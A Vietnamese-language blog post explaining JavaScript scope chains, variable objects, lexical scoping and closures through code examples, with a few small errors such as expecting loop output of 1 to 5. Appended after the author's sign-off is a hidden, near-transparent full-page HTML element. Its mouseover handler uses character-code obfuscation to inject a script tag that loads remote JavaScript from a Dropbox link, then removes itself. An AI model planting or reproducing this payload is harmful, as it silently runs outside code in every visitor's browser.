Identifier Resolution and Closures in the JavaScript Scope Chain
Như ta đã biết, mỗi function đều có execution context chứa variable object [VO], [VO] này bao gồm tất các các biến, hàm và tham số được định nghĩa bên trong function đang xét. Thuộc tính scope chain của execution context là một danh sách gồm [VO] hiện tại và tất các những [VO] cha của nó. scope ...
Như ta đã biết, mỗi function đều có execution context chứa variable object [VO], [VO] này bao gồm tất các các biến, hàm và tham số được định nghĩa bên trong function đang xét.
Thuộc tính scope chain của execution context là một danh sách gồm [VO] hiện tại và tất các những [VO] cha của nó.
scope chain = [ [VO] + [V0-1] + [V0-2] + ... + [V0-n]]
Ta xem xét ví dụ sau để hiểu rõ về scope chain :
function one() { two(); function two() { three(); function three() { console.log("Function three"); } } }
Execution context stack sẽ có trình tự :
- three()
- two()
- one()
- Global
scope_chain ở function three() là :
scope chain = [ [three() VO] + [two() VO] + [one() VO] + [Global VO] ];
Ở ví dụ trên, ta có thể thấy các tất cả các hàm con đều có hể truy cập sử dụng biến của những hàm bao nó.
Xét ví dụ khác :
var logs = []; for (var i = 0; i < 5; i++) { logs.push( function inner() { console.log(i); } ) } logs[0](); logs[1](); logs[2](); logs[3](); logs[4]();
Nhìn qua thường ta sẽ thấy kết quả hiện thị là 1,2,3,4 và 5. Nhưng không, tất cả hiển thị là 5 !.
Khi logsx được gọi, nó sẽ tìm kiếm giá trị i bên trong inner.scopeChain, hay ở đây chính là global context. Nên nhớ khi kết thúc vòng for, i sẽ nhận giá trị là 5. Vì vậy cả 5 lần gọi đều ra giá trị là 5. Lý do ở đây là trình phiên dịch JavaScript sử dụng Lexical Scoping hay còn gọi là static scope.
Ví dụ khác :
function one() { var a = 1; two(); function two() { var b = 2; three(); function three() { var c = 3; alert(a + b + c); // 6 } } } one();
Khi thực hiện dòng lệnh alert(a + b + c);, trình phiên dịch tìm kiếm biến a trong scope chain bằng việc kiểm tra trong three() [VO] trước, khi không tìm thấy, nó tìm tiếp [VO] tiếp theo là two() [VO] và rồi tới one() [VO]. Nếu tìm hết trên scope chain chưa thấy, ta sẽ nhận được lỗi ReferenceError.
Với closures thì sao? Xét ví dụ dưới :
function foo() { var a = 'private variable'; return function bar() { alert(a); } } var callAlert = foo(); callAlert(); // private variable
Danh sách [VO] trong ví dụ này :
// Global Context when evaluated global.VO = { foo: pointer to foo(), callAlert: returned value of global.VO.foo scopeChain: [global.VO] } // Foo Context when evaluated foo.VO = { bar: pointer to bar(), a: 'private variable', scopeChain: [foo.VO, global.VO] } // Bar Context when evaluated bar.VO = { scopeChain: [bar.VO, foo.VO, global.VO] }
Khi thực thi lệnh alert(a);, trình phiên dịch kiểm tra [VO] đầu tiên trong bar.VO.scopeChain, do không tìm thấy nên nó chuyển sang tìm ở [VO] tiếp theo là foo.VO, khi đã tìm thấy nó sẽ chuyển giá trị về bar context, đó là lý do tại sao alert(a)0 trả về cho ta giá trị private variable trong khi foo() đã thực thi xong từ trước.
Vậy ta đã phần nào hiểu được thêm về scope chain, Lexical Scoping, cách thức hoạt động của closures.
Bài viết dựa trên việc đọc hiểu từ Identifier Resolution and Closures in the JavaScript Scope Chain. Do kiến thức còn hạn chế nên việc đọc hiểu có thể sẽ có sai sót, mong mọi người góp ý để mình hoàn thiện bài viết cũng như kiến thức của mình.
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">